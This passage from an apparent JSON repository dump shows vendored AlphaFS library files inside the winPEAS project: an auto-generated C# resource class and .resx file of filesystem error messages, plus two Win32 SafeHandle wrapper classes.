    "content": "﻿//------------------------------------------------------------------------------\n// <auto-generated>\n//     This code was generated by a tool.\n//     Runtime Version:4.0.30319.42000\n//\n//     Changes to this file may cause incorrect behavior and will be lost if\n//     the code is regenerated.\n// </auto-generated>\n//------------------------------------------------------------------------------\n\nnamespace winPEAS._3rdParty.AlphaFS {\n    using System;\n    \n    \n    /// <summary>\n    ///   A strongly-typed resource class, for looking up localized strings, etc.\n    /// </summary>\n    // This class was auto-generated by the StronglyTypedResourceBuilder\n    // class via a tool like ResGen or Visual Studio.\n    // To add or remove a member, edit your .ResX file then rerun ResGen\n    // with the /str option, or rebuild your VS project.\n    [global::System.CodeDom.Compiler.GeneratedCodeAttribute(\"System.Resources.Tools.StronglyTypedResourceBuilder\", \"17.0.0.0\")]\n    [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]\n    [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]\n    internal class Resources {\n        \n        private static global::System.Resources.ResourceManager resourceMan;\n        \n        private static global::System.Globalization.CultureInfo resourceCulture;\n        \n        [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute(\"Microsoft.Performance\", \"CA1811:AvoidUncalledPrivateCode\")]\n        internal Resources() {\n        }\n        \n        /// <summary>\n        ///   Returns the cached ResourceManager instance used by this class.\n        /// </summary>\n        [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]\n        internal static global::System.Resources.ResourceManager ResourceManager {\n            get {\n                if (object.ReferenceEquals(resourceMan, null)) {\n                    global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager(\"winPEAS._3rdParty.AlphaFS.Resources\", typeof(Resources).Assembly);\n                    resourceMan = temp;\n                }\n                return resourceMan;\n            }\n        }\n        \n        /// <summary>\n        ///   Overrides the current thread's CurrentUICulture property for all\n        ///   resource lookups using this strongly typed resource class.\n        /// </summary>\n        [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]\n        internal static global::System.Globalization.CultureInfo Culture {\n            get {\n                return resourceCulture;\n            }\n            set {\n                resourceCulture = value;\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Buffer is not large enough for the requested operation..\n        /// </summary>\n        internal static string Buffer_Not_Large_Enough {\n            get {\n                return ResourceManager.GetString(\"Buffer_Not_Large_Enough\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Cannot create directory..\n        /// </summary>\n        internal static string Cannot_Create_Directory {\n            get {\n                return ResourceManager.GetString(\"Cannot_Create_Directory\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Cannot determine Copy or Move action..\n        /// </summary>\n        internal static string Cannot_Determine_Copy_Or_Move {\n            get {\n                return ResourceManager.GetString(\"Cannot_Determine_Copy_Or_Move\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Destination buffer not large enough for the requested operation..\n        /// </summary>\n        internal static string Destination_Buffer_Not_Large_Enough {\n            get {\n                return ResourceManager.GetString(\"Destination_Buffer_Not_Large_Enough\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to The directory is not a mount point: [{0}].\n        /// </summary>\n        internal static string Directory_Is_Not_A_MountPoint {\n            get {\n                return ResourceManager.GetString(\"Directory_Is_Not_A_MountPoint\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Incorrectly implemented function attempting to generate exception from successful operation.\n        ///.\n        /// </summary>\n        internal static string Exception_From_Successful_Operation {\n            get {\n                return ResourceManager.GetString(\"Exception_From_Successful_Operation\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to The specified file is hidden: [{0}].\n        /// </summary>\n        internal static string File_Is_Hidden {\n            get {\n                return ResourceManager.GetString(\"File_Is_Hidden\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to The file or directory already exists.\n        /// </summary>\n        internal static string File_Or_Directory_Already_Exists {\n            get {\n                return ResourceManager.GetString(\"File_Or_Directory_Already_Exists\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Failed to get the current WindowsIdentity..\n        /// </summary>\n        internal static string GetCurrentWindowsIdentityFailed {\n            get {\n                return ResourceManager.GetString(\"GetCurrentWindowsIdentityFailed\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Cannot add and remove trailing DirectorySeparator simultaneously..\n        /// </summary>\n        internal static string GetFullPathOptions_Add_And_Remove_DirectorySeparator_Invalid {\n            get {\n                return ResourceManager.GetString(\"GetFullPathOptions_Add_And_Remove_DirectorySeparator_Invalid\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to The handle is closed..\n        /// </summary>\n        internal static string Handle_Is_Closed {\n            get {\n                return ResourceManager.GetString(\"Handle_Is_Closed\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to The handle is invalid..\n        /// </summary>\n        internal static string Handle_Is_Invalid {\n            get {\n                return ResourceManager.GetString(\"Handle_Is_Invalid\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to The handle is invalid. Win32Error: [{0}].\n        /// </summary>\n        internal static string Handle_Is_Invalid_Win32Error {\n            get {\n                return ResourceManager.GetString(\"Handle_Is_Invalid_Win32Error\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Creating hard-links on non-NTFS partitions is not supported..\n        /// </summary>\n        internal static string HardLinks_Not_Supported {\n            get {\n                return ResourceManager.GetString(\"HardLinks_Not_Supported\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Illegal characters: [{0}] in path..\n        /// </summary>\n        internal static string Illegal_Characters_In_Path {\n            get {\n                return ResourceManager.GetString(\"Illegal_Characters_In_Path\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to An attempt to set an invalid file attribute failed..\n        /// </summary>\n        internal static string Invalid_File_Attribute {\n            get {\n                return ResourceManager.GetString(\"Invalid_File_Attribute\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to The data present in the reparse point buffer is invalid.\n        /// </summary>\n        internal static string Invalid_Reparse_Data {\n            get {\n                return ResourceManager.GetString(\"Invalid_Reparse_Data\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Invalid stream name..\n        /// </summary>\n        internal static string Invalid_Stream_Name {\n            get {\n                return ResourceManager.GetString(\"Invalid_Stream_Name\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Invalid Subpath.\n        /// </summary>\n        internal static string Invalid_Subpath {\n            get {\n                return ResourceManager.GetString(\"Invalid_Subpath\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Invalid transaction request..\n        /// </summary>\n        internal static string Invalid_Transaction_Request {\n            get {\n                return ResourceManager.GetString(\"Invalid_Transaction_Request\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Argument must be a drive letter: &quot;C&quot;, RootDir: &quot;C:\\&quot; or UNC path: &quot;\\\\server\\share&quot;.\n        /// </summary>\n        internal static string InvalidDriveLetterArgument {\n            get {\n                return ResourceManager.GetString(\"InvalidDriveLetterArgument\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to The target directory of the directory junction must be on the same local drive..\n        /// </summary>\n        internal static string Junction_And_Target_Must_Be_On_The_Same_Drive {\n            get {\n                return ResourceManager.GetString(\"Junction_And_Target_Must_Be_On_The_Same_Drive\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to MoveOptions.CopyAllowed is not allowed when using the MoveOptions.DelayUntilReboot flag..\n        /// </summary>\n        internal static string MoveOptionsDelayUntilReboot_Not_Allowed_With_MoveOptionsCopyAllowed {\n            get {\n                return ResourceManager.GetString(\"MoveOptionsDelayUntilReboot_Not_Allowed_With_MoveOptionsCopyAllowed\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to MoveOptions.DelayUntilReboot is not allowed when using a network path..\n        /// </summary>\n        internal static string MoveOptionsDelayUntilReboot_Not_Allowed_With_NetworkPath {\n            get {\n                return ResourceManager.GetString(\"MoveOptionsDelayUntilReboot_Not_Allowed_With_NetworkPath\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Count cannot be negative..\n        /// </summary>\n        internal static string Negative_Count {\n            get {\n                return ResourceManager.GetString(\"Negative_Count\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Destination offset cannot be negative..\n        /// </summary>\n        internal static string Negative_Destination_Offset {\n            get {\n                return ResourceManager.GetString(\"Negative_Destination_Offset\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Length cannot be negative..\n        /// </summary>\n        internal static string Negative_Length {\n            get {\n                return ResourceManager.GetString(\"Negative_Length\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Lock length cannot be negative..\n        /// </summary>\n        internal static string Negative_Lock_Length {\n            get {\n                return ResourceManager.GetString(\"Negative_Lock_Length\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Offset cannot be negative..\n        /// </summary>\n        internal static string Negative_Offset {\n            get {\n                return ResourceManager.GetString(\"Negative_Offset\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Network path is not allowed for directory junction: [{0}].\n        /// </summary>\n        internal static string Network_Path_Not_Allowed {\n            get {\n                return ResourceManager.GetString(\"Network_Path_Not_Allowed\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to No drive letters available..\n        /// </summary>\n        internal static string No_Drive_Letters_Available {\n            get {\n                return ResourceManager.GetString(\"No_Drive_Letters_Available\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to This stream does not support seeking..\n        /// </summary>\n        internal static string No_Stream_Seeking_Support {\n            get {\n                return ResourceManager.GetString(\"No_Stream_Seeking_Support\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Argument is not a valid Volume GUID..\n        /// </summary>\n        internal static string Not_A_Valid_Guid {\n            get {\n                return ResourceManager.GetString(\"Not_A_Valid_Guid\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Path is a zero-length string or contains only white space..\n        /// </summary>\n        internal static string Path_Is_Zero_Length_Or_Only_White_Space {\n            get {\n                return ResourceManager.GetString(\"Path_Is_Zero_Length_Or_Only_White_Space\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Privilege name cannot be empty..\n        /// </summary>\n        internal static string Privilege_Name_Cannot_Be_Empty {\n            get {\n                return ResourceManager.GetString(\"Privilege_Name_Cannot_Be_Empty\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Incomplete header read..\n        /// </summary>\n        internal static string Read_Incomplete_Header {\n            get {\n                return ResourceManager.GetString(\"Read_Incomplete_Header\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Invalid security descriptor returned from system..\n        /// </summary>\n        internal static string Returned_Invalid_Security_Descriptor {\n            get {\n                return ResourceManager.GetString(\"Returned_Invalid_Security_Descriptor\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Source offset and length outside the bounds of the array.\n        /// </summary>\n        internal static string Source_OffsetAndLength_Outside_Bounds {\n            get {\n                return ResourceManager.GetString(\"Source_OffsetAndLength_Outside_Bounds\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to The target directory is a file, not a directory: [{0}].\n        /// </summary>\n        internal static string Target_Directory_Is_A_File {\n            get {\n                return ResourceManager.GetString(\"Target_Directory_Is_A_File\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to The target file is a directory, not a file: [{0}].\n        /// </summary>\n        internal static string Target_File_Is_A_Directory {\n            get {\n                return ResourceManager.GetString(\"Target_File_Is_A_Directory\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Transaction already aborted..\n        /// </summary>\n        internal static string Transaction_Already_Aborted {\n            get {\n                return ResourceManager.GetString(\"Transaction_Already_Aborted\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Transaction already committed..\n        /// </summary>\n        internal static string Transaction_Already_Committed {\n            get {\n                return ResourceManager.GetString(\"Transaction_Already_Committed\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Invalid transaction object..\n        /// </summary>\n        internal static string Transaction_Invalid {\n            get {\n                return ResourceManager.GetString(\"Transaction_Invalid\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Transaction not active..\n        /// </summary>\n        internal static string Transaction_Not_Active {\n            get {\n                return ResourceManager.GetString(\"Transaction_Not_Active\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Transaction not requested..\n        /// </summary>\n        internal static string Transaction_Not_Requested {\n            get {\n                return ResourceManager.GetString(\"Transaction_Not_Requested\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Transactional conflict..\n        /// </summary>\n        internal static string Transactional_Conflict {\n            get {\n                return ResourceManager.GetString(\"Transactional_Conflict\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to Network share path should match the format: \\\\server\\share.\n        /// </summary>\n        internal static string UNC_Path_Should_Match_Format {\n            get {\n                return ResourceManager.GetString(\"UNC_Path_Should_Match_Format\", resourceCulture);\n            }\n        }\n        \n        /// <summary>\n        ///   Looks up a localized string similar to The given path&apos;s format is not supported: [{0}].\n        /// </summary>\n        internal static string Unsupported_Path_Format {\n            get {\n                return ResourceManager.GetString(\"Unsupported_Path_Format\", resourceCulture);\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Resources.resx",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<root>\n  <!-- \n    Microsoft ResX Schema \n    \n    Version 2.0\n    \n    The primary goals of this format is to allow a simple XML format \n    that is mostly human readable. The generation and parsing of the \n    various data types are done through the TypeConverter classes \n    associated with the data types.\n    \n    Example:\n    \n    ... ado.net/XML headers & schema ...\n    <resheader name=\"resmimetype\">text/microsoft-resx</resheader>\n    <resheader name=\"version\">2.0</resheader>\n    <resheader name=\"reader\">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>\n    <resheader name=\"writer\">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>\n    <data name=\"Name1\"><value>this is my long string</value><comment>this is a comment</comment></data>\n    <data name=\"Color1\" type=\"System.Drawing.Color, System.Drawing\">Blue</data>\n    <data name=\"Bitmap1\" mimetype=\"application/x-microsoft.net.object.binary.base64\">\n        <value>[base64 mime encoded serialized .NET Framework object]</value>\n    </data>\n    <data name=\"Icon1\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\n        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>\n        <comment>This is a comment</comment>\n    </data>\n                \n    There are any number of \"resheader\" rows that contain simple \n    name/value pairs.\n    \n    Each data row contains a name, and value. The row also contains a \n    type or mimetype. Type corresponds to a .NET class that support \n    text/value conversion through the TypeConverter architecture. \n    Classes that don't support this are serialized and stored with the \n    mimetype set.\n    \n    The mimetype is used for serialized objects, and tells the \n    ResXResourceReader how to depersist the object. This is currently not \n    extensible. For a given mimetype the value must be set accordingly:\n    \n    Note - application/x-microsoft.net.object.binary.base64 is the format \n    that the ResXResourceWriter will generate, however the reader can \n    read any of the formats listed below.\n    \n    mimetype: application/x-microsoft.net.object.binary.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\n            : and then encoded with base64 encoding.\n    \n    mimetype: application/x-microsoft.net.object.soap.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter\n            : and then encoded with base64 encoding.\n\n    mimetype: application/x-microsoft.net.object.bytearray.base64\n    value   : The object must be serialized into a byte array \n            : using a System.ComponentModel.TypeConverter\n            : and then encoded with base64 encoding.\n    -->\n  <xsd:schema id=\"root\" xmlns=\"\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\">\n    <xsd:import namespace=\"http://www.w3.org/XML/1998/namespace\" />\n    <xsd:element name=\"root\" msdata:IsDataSet=\"true\">\n      <xsd:complexType>\n        <xsd:choice maxOccurs=\"unbounded\">\n          <xsd:element name=\"metadata\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" use=\"required\" type=\"xsd:string\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"assembly\">\n            <xsd:complexType>\n              <xsd:attribute name=\"alias\" type=\"xsd:string\" />\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"data\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n                <xsd:element name=\"comment\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"2\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" msdata:Ordinal=\"1\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" msdata:Ordinal=\"3\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" msdata:Ordinal=\"4\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"resheader\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" />\n            </xsd:complexType>\n          </xsd:element>\n        </xsd:choice>\n      </xsd:complexType>\n    </xsd:element>\n  </xsd:schema>\n  <resheader name=\"resmimetype\">\n    <value>text/microsoft-resx</value>\n  </resheader>\n  <resheader name=\"version\">\n    <value>2.0</value>\n  </resheader>\n  <resheader name=\"reader\">\n    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <resheader name=\"writer\">\n    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <data name=\"Transaction_Invalid\" xml:space=\"preserve\">\n    <value>Invalid transaction object.</value>\n  </data>\n  <data name=\"Transaction_Already_Committed\" xml:space=\"preserve\">\n    <value>Transaction already committed.</value>\n  </data>\n  <data name=\"Transaction_Already_Aborted\" xml:space=\"preserve\">\n    <value>Transaction already aborted.</value>\n  </data>\n  <data name=\"Transactional_Conflict\" xml:space=\"preserve\">\n    <value>Transactional conflict.</value>\n  </data>\n  <data name=\"Transaction_Not_Active\" xml:space=\"preserve\">\n    <value>Transaction not active.</value>\n  </data>\n  <data name=\"Transaction_Not_Requested\" xml:space=\"preserve\">\n    <value>Transaction not requested.</value>\n  </data>\n  <data name=\"Invalid_Transaction_Request\" xml:space=\"preserve\">\n    <value>Invalid transaction request.</value>\n  </data>\n  <data name=\"HardLinks_Not_Supported\" xml:space=\"preserve\">\n    <value>Creating hard-links on non-NTFS partitions is not supported.</value>\n  </data>\n  <data name=\"No_Stream_Seeking_Support\" xml:space=\"preserve\">\n    <value>This stream does not support seeking.</value>\n  </data>\n  <data name=\"Negative_Count\" xml:space=\"preserve\">\n    <value>Count cannot be negative.</value>\n  </data>\n  <data name=\"Negative_Offset\" xml:space=\"preserve\">\n    <value>Offset cannot be negative.</value>\n  </data>\n  <data name=\"Buffer_Not_Large_Enough\" xml:space=\"preserve\">\n    <value>Buffer is not large enough for the requested operation.</value>\n  </data>\n  <data name=\"Returned_Invalid_Security_Descriptor\" xml:space=\"preserve\">\n    <value>Invalid security descriptor returned from system.</value>\n  </data>\n  <data name=\"Handle_Is_Invalid\" xml:space=\"preserve\">\n    <value>The handle is invalid.</value>\n  </data>\n  <data name=\"Handle_Is_Invalid_Win32Error\" xml:space=\"preserve\">\n    <value>The handle is invalid. Win32Error: [{0}]</value>\n  </data>\n  <data name=\"UNC_Path_Should_Match_Format\" xml:space=\"preserve\">\n    <value>Network share path should match the format: \\\\server\\share</value>\n  </data>\n  <data name=\"Negative_Lock_Length\" xml:space=\"preserve\">\n    <value>Lock length cannot be negative.</value>\n  </data>\n  <data name=\"Negative_Destination_Offset\" xml:space=\"preserve\">\n    <value>Destination offset cannot be negative.</value>\n  </data>\n  <data name=\"Negative_Length\" xml:space=\"preserve\">\n    <value>Length cannot be negative.</value>\n  </data>\n  <data name=\"Source_OffsetAndLength_Outside_Bounds\" xml:space=\"preserve\">\n    <value>Source offset and length outside the bounds of the array</value>\n  </data>\n  <data name=\"Privilege_Name_Cannot_Be_Empty\" xml:space=\"preserve\">\n    <value>Privilege name cannot be empty.</value>\n  </data>\n  <data name=\"Cannot_Create_Directory\" xml:space=\"preserve\">\n    <value>Cannot create directory.</value>\n  </data>\n  <data name=\"Target_Directory_Is_A_File\" xml:space=\"preserve\">\n    <value>The target directory is a file, not a directory: [{0}]</value>\n  </data>\n  <data name=\"Illegal_Characters_In_Path\" xml:space=\"preserve\">\n    <value>Illegal characters: [{0}] in path.</value>\n  </data>\n  <data name=\"Path_Is_Zero_Length_Or_Only_White_Space\" xml:space=\"preserve\">\n    <value>Path is a zero-length string or contains only white space.</value>\n  </data>\n  <data name=\"Unsupported_Path_Format\" xml:space=\"preserve\">\n    <value>The given path's format is not supported: [{0}]</value>\n  </data>\n  <data name=\"Target_File_Is_A_Directory\" xml:space=\"preserve\">\n    <value>The target file is a directory, not a file: [{0}]</value>\n  </data>\n  <data name=\"File_Is_Hidden\" xml:space=\"preserve\">\n    <value>The specified file is hidden: [{0}]</value>\n  </data>\n  <data name=\"Cannot_Determine_Copy_Or_Move\" xml:space=\"preserve\">\n    <value>Cannot determine Copy or Move action.</value>\n  </data>\n  <data name=\"Invalid_File_Attribute\" xml:space=\"preserve\">\n    <value>An attempt to set an invalid file attribute failed.</value>\n  </data>\n  <data name=\"Read_Incomplete_Header\" xml:space=\"preserve\">\n    <value>Incomplete header read.</value>\n  </data>\n  <data name=\"Invalid_Stream_Name\" xml:space=\"preserve\">\n    <value>Invalid stream name.</value>\n  </data>\n  <data name=\"File_Or_Directory_Already_Exists\" xml:space=\"preserve\">\n    <value>The file or directory already exists</value>\n  </data>\n  <data name=\"Destination_Buffer_Not_Large_Enough\" xml:space=\"preserve\">\n    <value>Destination buffer not large enough for the requested operation.</value>\n  </data>\n  <data name=\"Exception_From_Successful_Operation\" xml:space=\"preserve\">\n    <value>Incorrectly implemented function attempting to generate exception from successful operation.\n</value>\n  </data>\n  <data name=\"Not_A_Valid_Guid\" xml:space=\"preserve\">\n    <value>Argument is not a valid Volume GUID.</value>\n  </data>\n  <data name=\"Invalid_Subpath\" xml:space=\"preserve\">\n    <value>Invalid Subpath</value>\n  </data>\n  <data name=\"Handle_Is_Closed\" xml:space=\"preserve\">\n    <value>The handle is closed.</value>\n  </data>\n  <data name=\"Invalid_Reparse_Data\" xml:space=\"preserve\">\n    <value>The data present in the reparse point buffer is invalid</value>\n  </data>\n  <data name=\"Network_Path_Not_Allowed\" xml:space=\"preserve\">\n    <value>Network path is not allowed for directory junction: [{0}]</value>\n  </data>\n  <data name=\"MoveOptionsDelayUntilReboot_Not_Allowed_With_MoveOptionsCopyAllowed\" xml:space=\"preserve\">\n    <value>MoveOptions.CopyAllowed is not allowed when using the MoveOptions.DelayUntilReboot flag.</value>\n  </data>\n  <data name=\"MoveOptionsDelayUntilReboot_Not_Allowed_With_NetworkPath\" xml:space=\"preserve\">\n    <value>MoveOptions.DelayUntilReboot is not allowed when using a network path.</value>\n  </data>\n  <data name=\"Junction_And_Target_Must_Be_On_The_Same_Drive\" xml:space=\"preserve\">\n    <value>The target directory of the directory junction must be on the same local drive.</value>\n  </data>\n  <data name=\"Directory_Is_Not_A_MountPoint\" xml:space=\"preserve\">\n    <value>The directory is not a mount point: [{0}]</value>\n  </data>\n  <data name=\"InvalidDriveLetterArgument\" xml:space=\"preserve\">\n    <value>Argument must be a drive letter: \"C\", RootDir: \"C:\\\" or UNC path: \"\\\\server\\share\"</value>\n  </data>\n  <data name=\"GetFullPathOptions_Add_And_Remove_DirectorySeparator_Invalid\" xml:space=\"preserve\">\n    <value>Cannot add and remove trailing DirectorySeparator simultaneously.</value>\n  </data>\n  <data name=\"No_Drive_Letters_Available\" xml:space=\"preserve\">\n    <value>No drive letters available.</value>\n  </data>\n  <data name=\"GetCurrentWindowsIdentityFailed\" xml:space=\"preserve\">\n    <value>Failed to get the current WindowsIdentity.</value>\n  </data>\n</root>"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Safe Handles/SafeCmConnectMachineHandle.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\nusing Microsoft.Win32.SafeHandles;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>Represents a wrapper class for a handle used by the CM_Connect_Machine/CM_Disconnect_Machine Win32 API functions.</summary>\n   [SecurityCritical]\n   internal sealed class SafeCmConnectMachineHandle : SafeHandleZeroOrMinusOneIsInvalid\n   {\n      /// <summary>Initializes a new instance of the <see cref=\"SafeCmConnectMachineHandle\"/> class.</summary>\n      public SafeCmConnectMachineHandle() : base(true)\n      {\n      }\n\n\n      /// <summary>When overridden in a derived class, executes the code required to free the handle.</summary>\n      protected override bool ReleaseHandle()\n      {\n         return NativeMethods.CM_Disconnect_Machine(handle) == Win32Errors.NO_ERROR;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Safe Handles/SafeEncryptedFileRawHandle.cs",
    "content": "using System;\nusing System.Security;\nusing Microsoft.Win32.SafeHandles;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>Represents a wrapper class for a handle used by the OpenEncryptedFileRaw Win32 API functions.</summary>\n   [SecurityCritical]\n   internal sealed class SafeEncryptedFileRawHandle : SafeHandleZeroOrMinusOneIsInvalid\n   {\n      /// <summary>Constructor that prevents a default instance of this class from being created.</summary>\n      private SafeEncryptedFileRawHandle() : base(true)\n      {\n      }\n\n\n      /// <summary>Initializes a new instance of the <see cref=\"SafeEncryptedFileRawHandle\"/> class.</summary>\n      /// <param name=\"handle\">The handle.</param>\n      /// <param name=\"callerHandle\"><c>true</c> to reliably release the handle during the finalization phase; <c>false</c> to prevent reliable release (not recommended).</param>\n      public SafeEncryptedFileRawHandle(IntPtr handle, bool callerHandle) : base(callerHandle)\n      {\n         SetHandle(handle);\n      }\n\n      \n      /// <summary>When overridden in a derived class, executes the code required to free the handle.</summary>\n      /// <returns>\n      /// <c>true</c> if the handle is released successfully; otherwise, in the event of a catastrophic failure,\n      /// <c>false</c>. In this case, it generates a ReleaseHandleFailed Managed Debugging Assistant.\n      /// </returns>\n      protected override bool ReleaseHandle()\n      {\n         NativeMethods.CloseEncryptedFileRaw(handle);\n\n         return true;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Safe Handles/SafeFindFileHandle.cs",
